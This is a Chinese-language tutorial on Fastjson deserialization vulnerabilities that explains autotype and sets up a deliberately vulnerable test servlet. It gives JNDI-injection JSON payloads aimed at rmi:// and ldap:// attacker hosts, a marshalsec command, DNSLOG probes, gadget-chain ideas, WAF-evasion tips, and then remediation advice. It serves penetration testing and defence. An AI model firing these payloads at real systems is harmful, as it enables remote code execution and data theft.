
1. 项目概述一次对Fastjson反序列化漏洞的深度剖析最近在复盘一些历史安全事件和漏洞案例时Fastjson的反序列化漏洞系列总是绕不开的经典。这个在国内Java生态中曾经甚至现在依然被广泛使用的JSON解析库因其在特定版本中存在的设计缺陷引发了一系列严重的安全问题。从1.2.24到1.2.47再到1.2.80几乎每个版本都留下了可以被利用的“后门”。今天我想从一个应用安全研究者和开发者的双重角度彻底拆解Fastjson反序列化漏洞的原理、利用手法并分享在实际攻防演练和代码审计中如何判断利用条件、如何有效修复。这不仅仅是复现一个POC更是理解Java反序列化攻击链、自动化特征探测以及安全编码实践的完整过程。对于Java开发者、安全工程师和运维人员来说理解Fastjson漏洞至关重要。它直接关系到线上应用是否可能被远程执行代码、窃取敏感数据。即使你的项目没有直接使用Fastjson但依赖的第三方库可能间接引入了风险。本文将带你从漏洞根源出发一步步构建利用场景分析不同版本间的差异并给出经过实战检验的修复与缓解方案。我们会避开纯理论堆砌聚焦于可操作、可复现的细节并穿插大量我在实际渗透测试和代码审计中踩过的坑和总结的技巧。2. Fastjson反序列化漏洞的核心原理剖析要理解Fastjson的漏洞必须先搞清楚两个核心概念反序列化与autotype机制。这是所有问题的起点。2.1 什么是反序列化为什么危险简单来说序列化是把一个Java对象变成一串字节流的过程方便存储或网络传输。反序列化则是把这串字节流还原回Java对象。很多RPC框架、缓存系统如Redis都会用到。危险在于反序列化过程不仅仅是恢复数据还会执行对象初始化时的一些逻辑比如调用类的构造方法、readObject方法、getter/setter方法等。攻击者如果可以控制反序列化的数据流就能精心构造一个恶意的字节流让程序在还原对象时执行攻击者预设的恶意代码。这就像你让快递员反序列化程序把一个包裹字节流还原成家具对象但包裹里藏了一个会自动组装的“恶作剧盒子”一打开就触发。Fastjson在将JSON字符串转换为Java对象即JSON.parseObject()或JSON.parse()时本质上就是在进行反序列化操作。2.2 Fastjson的autotype机制与漏洞根源Fastjson为了提供灵活性引入了autotype功能。当JSON数据中包含type这个键时Fastjson会根据type指定的全限定类名去实例化这个类的对象。例如{ type: com.example.User, name: test, age: 20 }Fastjson会尝试加载并实例化com.example.User类然后将name和age的值通过setter方法或字段反射注入进去。漏洞的根源就在这里Fastjson在默认开启或特定条件下允许反序列化任意类。攻击者可以利用type指定一个存在于目标ClassPath中的、具有危险方法的类。Fastjson在实例化这个类并为其属性赋值的过程中会调用该类的setter方法、getter方法、构造函数以及某些特定签名的静态方法取决于版本如果这些方法中的代码可以被恶意利用就构成了远程代码执行RCE的入口点。注意并不是所有类都能直接导致RCE。需要找到一条“攻击链”Gadget Chain即一系列类的组合其中某个类的某个方法被调用时可以触发执行命令或访问敏感资源。例如利用TemplatesImpl类加载字节码或者利用JdbcRowSetImpl类进行JNDI注入。2.3 不同版本漏洞的差异点Fastjson在漏洞爆发后进行了多次修复但修复方式存在绕过导致了多个CVE1.2.24默认情况下autotype是开启的且黑名单防御非常薄弱。可以直接利用JdbcRowSetImpl等链进行JNDI注入这是最“经典”的利用方式。1.2.47在1.2.25之后Fastjson默认关闭了autotype并引入了黑名单机制。但1.2.47版本存在一个逻辑漏洞当type指定的类名被重复键值对“挤掉”时会从缓存中获取之前解析过的TypeUtils.mappings中的类信息从而绕过黑名单检查。这是一个非常精妙的绕过。1.2.80在1.2.68之后黑名单不断加强但攻击者发现了新的利用点。1.2.80版本的漏洞主要围绕AutoCloseable、Throwable等接口的异常处理机制以及针对expectClass参数的绕过利用SafeMode的绕过等依然可以构造出攻击链。理解这些差异有助于我们在排查和修复时更有针对性。例如对于1.2.47重点检查是否有重复键的畸形JSON对于1.2.80则要关注异常处理和某些特定类的过滤是否完整。3. 漏洞利用实战从原理到攻击链构造纸上得来终觉浅我们直接进入实战环节。我会分别针对三个有代表性的版本演示如何构造利用Payload。请务必在授权的测试环境如虚拟机、隔离的Docker容器中进行操作切勿对未授权系统进行测试。3.1 环境准备与靶场搭建首先我们需要一个包含漏洞版本Fastjson的测试环境。最方便的方法是使用Docker快速搭建一个Web应用。编写一个简单的Servlet应用 创建一个TestServlet它接收POST请求的body并用JSON.parseObject()进行解析。WebServlet(/fastjson) public class TestServlet extends HttpServlet { protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException { String json req.getReader().lines().collect(Collectors.joining()); // 漏洞触发点 Object obj JSON.parseObject(json, Object.class); resp.getWriter().write(Parsed: (obj ! null)); } }构建Docker镜像 在Dockerfile中指定使用Tomcat 8 JDK 8并将你的WAR包复制到webapps目录。确保lib目录下包含特定版本的Fastjson JAR包如fastjson-1.2.24.jar。启动靶场docker build -t fastjson-vuln . docker run -d -p 8080:8080 --name fastjson-test fastjson-vuln现在访问http://localhost:8080/your-app/fastjson就有一个可测试的接口了。3.2 1.2.24 版本的利用JNDI注入这是最直观的利用方式利用com.sun.rowset.JdbcRowSetImpl类进行JNDI注入最终加载远程恶意类。攻击流程攻击者搭建一个恶意的RMI或LDAP服务该服务指向一个托管了恶意Java类的HTTP服务器。构造一个JSON Payload其type为com.sun.rowset.JdbcRowSetImpl并设置其dataSourceName属性为攻击者控制的RMI/LDAP地址。当Fastjson反序列化该JSON时会调用JdbcRowSetImpl.setDataSourceName()方法。随后Fastjson会调用JdbcRowSetImpl.getDatabaseMetaData()方法这是一个getter该方法会尝试连接设置的dataSourceName。这个连接动作触发了JNDI查询向攻击者的RMI/LDAP服务发起请求。恶意服务返回一个Reference对象指示从远程HTTP地址加载工厂类。目标服务器的JNDI实现在特定JDK版本下会去HTTP地址下载并实例化这个工厂类从而执行其中的静态代码块或构造方法中的命令。构造Payload{ type: com.sun.rowset.JdbcRowSetImpl, dataSourceName: rmi://attacker-ip:1099/Exploit, autoCommit: true }搭建恶意RMI服务 可以使用marshalsec工具快速启动一个RMI服务。java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://attacker-ip:8000/#Exploit 1099其中Exploit.class是你编译好的恶意类内容可以是执行命令如Runtime.getRuntime().exec(calc);并将其放在HTTP服务器根目录。实操心得这个利用方式对JDK版本有要求。在JDK 6u132, 7u122, 8u113之后Oracle增加了com.sun.jndi.rmi.object.trustURLCodebase等属性的默认限制默认为false导致无法从远程地址加载类。因此在较高版本的JDK环境下此利用方式可能失效需要寻找其他链或利用本地ClassPath中已有的类即“不出网”利用。3.3 1.2.47 版本的利用黑名单绕过从1.2.25开始Fastjson默认关闭了autotypeParserConfig.getGlobalInstance().setAutoTypeSupport(false);并引入了黑名单。1.2.47的绕过技巧非常巧妙。绕过原理 当JSON字符串中存在重复的Key时Fastjson在解析时后出现的值会覆盖先出现的值。但是在1.2.47及之前的一些版本中处理type这个Key有特殊逻辑。如果type对应的值是一个不在白名单但在黑名单中的类解析会失败。然而如果构造一个Payload先让一个合法的、在白名单中的类如java.lang.Class作为type的值被解析并缓存到TypeUtils.mappings中然后利用重复Key的特性用type指定一个恶意类名如com.sun.rowset.JdbcRowSetImpl去覆盖但由于解析逻辑的漏洞Fastjson会直接从缓存mappings中获取之前缓存的java.lang.Class对应的Class对象并用这个Class对象去解析后续的JSON属性。但关键在于后续属性赋值时会触发对实际恶意类JdbcRowSetImpl的setter方法调用从而绕过黑名单检查。构造Payload{ a: { type: java.lang.Class, val: com.sun.rowset.JdbcRowSetImpl }, b: { type: com.sun.rowset.JdbcRowSetImpl, dataSourceName: ldap://attacker-ip:1389/Exploit, autoCommit: true } }或者更常见的变形{ name: { type: java.lang.Class, val: com.sun.rowset.JdbcRowSetImpl }, x: { type: com.sun.rowset.JdbcRowSetImpl, dataSourceName: rmi://attacker-ip:1099/Exploit, autoCommit: true } }注意事项这个Payload看起来有两个对象但核心是利用第一个对象将com.sun.rowset.JdbcRowSetImpl的Class对象缓存起来。在实际测试中Payload的结构可能有多种变体需要根据目标代码的具体解析上下文进行调整。使用Burp Suite等工具进行Fuzz测试是发现有效Payload的好方法。3.4 Fastjson v1.2.80 的简单利用1.2.80版本的修复更为严格但依然被找到了绕过方式。其中一个利用链涉及expectClass参数和AutoCloseable接口。利用背景在ParserConfig.checkAutoType()方法中如果传入的expectClass是AutoCloseable等特定接口且目标类实现了该接口则可能绕过黑名单检查。构造Payload思路 寻找一个实现了AutoCloseable或Closeable接口且在其close()方法或相关方法中存在危险操作的类。例如某些数据库连接池或工具类。攻击者可以构造JSON使得Fastjson在反序列化时调用该类的close()方法进而触发恶意行为。一个公开的利用链涉及org.apache.ibatis.datasource.jndi.JndiDataSourceFactory类MyBatis中的类。但这类利用高度依赖于目标应用的ClassPath中是否存在特定的依赖库。因此1.2.80的利用更偏向于“不出网”利用或者需要精确的信息收集。一个简化示例假设环境中有相关依赖{ type: org.apache.ibatis.datasource.jndi.JndiDataSourceFactory, properties: { data_source: ldap://attacker-ip:1389/Exploit } }踩坑记录对于1.2.80及更高版本的漏洞利用成功率极大程度取决于目标服务器的依赖环境。盲目使用公开Payload往往失败。在实际渗透中需要先通过报错信息、接口响应等方式尽可能收集目标使用的中间件、框架、第三方库版本然后针对性寻找可用的攻击链。自动化工具如fastjson-scanner可以辅助探测但手工分析和验证必不可少。4. 关键环节不出网场景的判断与利用在真实的攻防对抗中目标服务器往往处于内网无法直接访问外网即“不出网”。这种情况下传统的JNDI注入利用方式就会失效。因此判断目标是否出网并掌握不出网的利用方法是实战中的关键。4.1 如何判断目标不出网DNSLOG探测这是最常用、最隐蔽的方式。构造一个Payload让目标尝试解析一个由你控制的子域名。对于Fastjson可以利用java.net.InetAddress或java.net.Inet4Address等类。Payload示例{ type: java.net.Inet4Address, val: your-unique-subdomain.dnslog.cn }或者利用java.net.InetSocketAddress{ type: java.net.InetSocketAddress, address: { type: java.net.Inet4Address, val: your-unique-subdomain.dnslog.cn }, port: 80 }发送Payload后查看你的DNSLOG平台如ceye.io, dnslog.cn是否有该子域名的解析记录。如果有说明目标可以出网进行DNS查询如果没有则很可能不出网或者相关类被黑名单拦截。HTTP请求探测尝试让目标发起一个HTTP请求到你的服务器。利用java.net.URL或java.net.URLConnection类但这些类通常也在黑名单中。更常见的是利用不出网利用链中本身会触发的网络行为来间接判断例如某些链会去加载http://开头的URL。延时判断不推荐构造一个会引发长时间等待的操作如Thread.sleep()通过对比请求响应时间来判断命令是否执行。这种方式误差大不准确。实操心得DNSLOG探测是首选因为它基于DNS协议出网策略中封锁DNS请求的情况相对较少且流量隐蔽。即使目标服务器无法HTTP出网DNS出网的可能性依然存在。如果DNSLOG也无回显那么基本可以判定为严格不出网环境需要转向不出网利用技术。4.2 不出网利用技术本地Gadget链利用当目标不出网时攻击者无法从远程加载恶意类必须利用目标服务器ClassPath中已存在的类来构造攻击链实现RCE。这需要更深入的知识和对目标依赖环境的了解。核心思路寻找一条完整的“Gadget Chain”这条链的起点是Fastjson反序列化时可以触发的类如某个setter/getter终点是能够执行命令或读写文件的类如Runtime.exec()或FileOutputStream中间通过一系列的方法调用串联起来。常见的本地链基础组件TemplatesImpl链利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类。这个类在解析其_bytecodes字段存储字节码时会动态定义并实例化一个类。如果攻击者能够控制_bytecodes字段的内容并让Fastjson成功反序列化并触发getOutputProperties()或newTransformer()方法就能执行任意Java字节码。难点需要绕过Fastjson对TemplatesImpl类特定字段如_bytecodes的过滤和赋值限制。通常需要配合其他类来间接触发。BCEL ClassLoader链利用com.sun.org.apache.bcel.internal.util.ClassLoader。可以将BCEL格式的字节码通过字符串形式传递由ClassLoader加载。但此链依赖的类在某些JDK版本中可能不存在。利用现有库中的危险类如早期利用org.apache.commons.collections中的Transformer链CC链或者org.springframework框架中的某些类。这要求目标应用引入了这些特定的第三方库。一个简化的不出网利用思路概念性通过信息收集发现目标使用了commons-collections 3.1和spring-aop。构造一个JSON Payload其type指向一个Spring框架中的类该类在反序列化时会调用commons-collections中的InvokerTransformer。InvokerTransformer可以通过反射调用任意方法我们将其指向java.lang.Runtime.getRuntime().exec(“命令”)。整个链在反序列化过程中被自动触发无需网络连接。注意事项不出网利用的构造极其复杂需要对Java反序列化链有深入研究。在实际渗透中通常会使用像ysoserial、marshalsec这样的工具生成针对不同库的Gadget链Payload然后结合Fastjson的type特性进行封装。但工具生成的Payload不一定完全适用经常需要根据目标的实际类版本、黑名单情况进行调整和Fuzz。5. 漏洞修复与安全加固方案知其然更要知其所以然。了解了漏洞如何产生和利用我们才能从根本上进行修复和防御。5.1 官方推荐修复方案升级到安全版本这是最直接有效的方法。Fastjson 1.x升级到1.2.83或更高版本。官方在后续版本中持续加固了黑名单、引入了SafeMode机制并修复了多个绕过漏洞。Fastjson 2.x考虑迁移到Fastjson2。Fastjson2在架构上进行了重写默认不兼容1.x的autotype行为安全性有显著提升。但需要注意API的变化评估迁移成本。重要提示升级后务必进行全面测试因为新版本可能引入了不兼容的API变更。开启SafeMode在Fastjson 1.2.68及以上版本提供了SafeMode模式。ParserConfig.getGlobalInstance().setSafeMode(true);开启SafeMode后autotype功能将被彻底关闭任何type信息都会被忽略从根本上杜绝了此类漏洞。这是生产环境最推荐的配置如果业务不需要autotype请务必开启。5.2 缓解与临时加固措施如果因种种原因无法立即升级可以采取以下缓解措施严格配置黑名单自定义ParserConfig使用严格的黑名单。ParserConfig config ParserConfig.getGlobalInstance(); config.setAutoTypeSupport(false); // 确保关闭 // 添加自定义黑名单示例需根据实际情况补充 config.addDeny(com.sun.rowset.); config.addDeny(org.apache.ibatis.datasource.jndi.); config.addDeny(java.net.Inet); // ... 其他已知的危险类包前缀缺点黑名单永远可能被新的绕过方式突破属于被动防御。使用白名单如果业务必须使用autotype那么白名单是比黑名单更安全的方式。ParserConfig config ParserConfig.getGlobalInstance(); config.setAutoTypeSupport(true); // 谨慎开启 config.addAccept(com.yourcompany.safe.dto.); // 只允许反序列化自己定义的、安全的DTO类替换API避免使用JSON.parseObject(String)或JSON.parse(String)这种自动类型推断的方法。使用指定Class的方法JSON.parseObject(String text, ClassT clazz)。这是最安全的方式因为反序列化的目标类型在代码中明确指定不受JSON内容控制。使用TypeReferenceJSON.parseObject(String text, new TypeReferenceMapString, Object(){})。同样限定了反序列化的具体类型。5.3 开发与运维最佳实践输入验证与过滤在JSON数据进入反序列化函数前对内容进行严格的校验。可以编写过滤器检查JSON中是否包含type字段如果业务不需要则直接拒绝或过滤掉该字段。最小化依赖定期审查项目的pom.xml或build.gradle移除不必要的依赖。特别是fastjson如果可以用更安全的库如Jackson、Gson替代应考虑替换。WAF/IPS防护在应用层防火墙WAF或入侵防御系统IPS上配置规则拦截包含常见Fastjson攻击特征如type、JdbcRowSetImpl、java.net.Inet等的请求。持续监控与审计使用RASP运行时应用自我保护技术对应用进行监控及时发现并阻断可疑的反序列化行为。定期进行代码安全审计检查所有使用JSON.parse/parseObject的地方。6. 常见问题排查与实战技巧实录在应急响应和渗透测试中经常会遇到一些典型问题。这里分享一些排查思路和技巧。6.1 漏洞探测与验证中的常见问题问题现象可能原因排查思路与技巧发送Payload后无任何回显返回正常或错误页面。1. 目标接口未使用Fastjson。2. Fastjson版本已修复或autotype已关闭。3. Payload中的类被黑名单拦截。4. 目标ClassPath中不存在Payload指定的类。1.确认技术栈通过报错信息、响应头如X-Powered-By: Servlet、静态资源指纹等判断是否为Java应用是否可能用了Fastjson。2.使用DNSLOG探测先发送最基础的DNSLOG Payload如java.net.Inet4Address看是否有解析记录。这是判断漏洞是否存在和是否出网的第一步。3.尝试不同版本的Payload准备针对1.2.24、1.2.47、1.2.80等不同版本的Payload进行测试。4.分析错误信息尝试触发一个明显的错误如使用一个不存在的类名type: “xxx.xxx”观察返回的错误信息是否包含Fastjson特有的字样如autoType is not support这能直接确认Fastjson的存在和版本特征。DNSLOG有回显但后续RCE Payload不成功。1. JDK版本过高限制了JNDI远程加载。2. 目标依赖环境中缺少攻击链所需的特定类。3. 网络策略限制了RMI/LDAP协议出口。1.判断JDK版本可以尝试用java.lang.System类获取属性但此类可能在黑名单。或者通过其他信息侧面推断。2.转向不出网利用如果DNS能通但RCE不行优先考虑是不出网环境。需要收集目标依赖信息寻找本地Gadget链。3.尝试其他利用链如TemplatesImpl链或针对其他组件的链如commons-beanutils,rome等。工具扫描报告漏洞但手工无法复现。1. 工具基于版本号识别但实际代码中已通过配置关闭了autotype或使用了安全API。2. 路径或参数不对Payload未到达漏洞点。3. 存在WAF/IPS拦截。1.代码审计如果条件允许直接审查源码查看JSON.parse/parseObject的调用方式。2.流量比对用Burp Suite抓取工具发送的流量和自己手工发送的流量检查Header、参数位置、数据格式是否一致。3.绕过WAF尝试对Payload进行各种编码、分割、混淆如Unicode编码、十六进制编码、添加多余空白符、换行等。6.2 修复过程中的踩坑点升级后报错autoType is not support这通常是因为升级到高版本1.2.25后默认关闭了autotype而你的业务代码确实依赖type来反序列化多态类型。此时不要为了省事而直接调用ParserConfig.getGlobalInstance().setAutoTypeSupport(true)全局开启。正确的做法是审查所有使用type的场景。为这些必要的类配置精确的白名单使用ParserConfig.getGlobalInstance().addAccept(“com.yourcompany.model.YourClass”)。将代码中模糊的反序列化调用改为使用明确的Class或TypeReference。使用了JSON.parseObject(text, Object.class)这是极其危险的用法因为它允许反序列化为任何类型。在代码审计中一旦发现这种写法应将其列为高危必须整改。应替换为具体的业务对象类。依赖传递导致旧版本引入你的项目可能没有直接依赖fastjson但某个第三方库如spring-boot-starter-alibaba-nacos传递依赖了旧版本。使用mvn dependency:tree或gradle dependencies命令仔细检查依赖树并使用exclusions排除旧版本强制引入安全版本。6.3 个人实战经验与技巧信息收集是成功的一半在测试前尽可能收集目标信息。通过报错页面、API文档、JS文件、甚至招聘信息技术栈来推测其可能使用的组件和版本。“盲打”与日志分析在无法直接获得回显的“盲注”场景下可以尝试让目标执行一些会产生侧信道的行为如延时利用Thread.sleep()通过响应时间判断。DNS外带如前所述是最可靠的方式。HTTP外带尝试用java.net.HttpURLConnection将命令执行结果通过GET/POST参数带出到你的服务器需出网且类可用。善用公开工具但不依赖工具fastjson_tool、FastjsonExploit等工具可以快速生成Payload但它们不是万能的。理解工具生成的Payload原理并能根据实际情况进行调整如更换类名、调整JSON结构才能应对复杂的真实环境。修复的彻底性修复漏洞后不要只盯着一个点。进行一次全面的代码仓库扫描查找所有fastjson相关的import语句和JSON.parse调用确保无一遗漏。同时更新所有相关组件的安全补丁。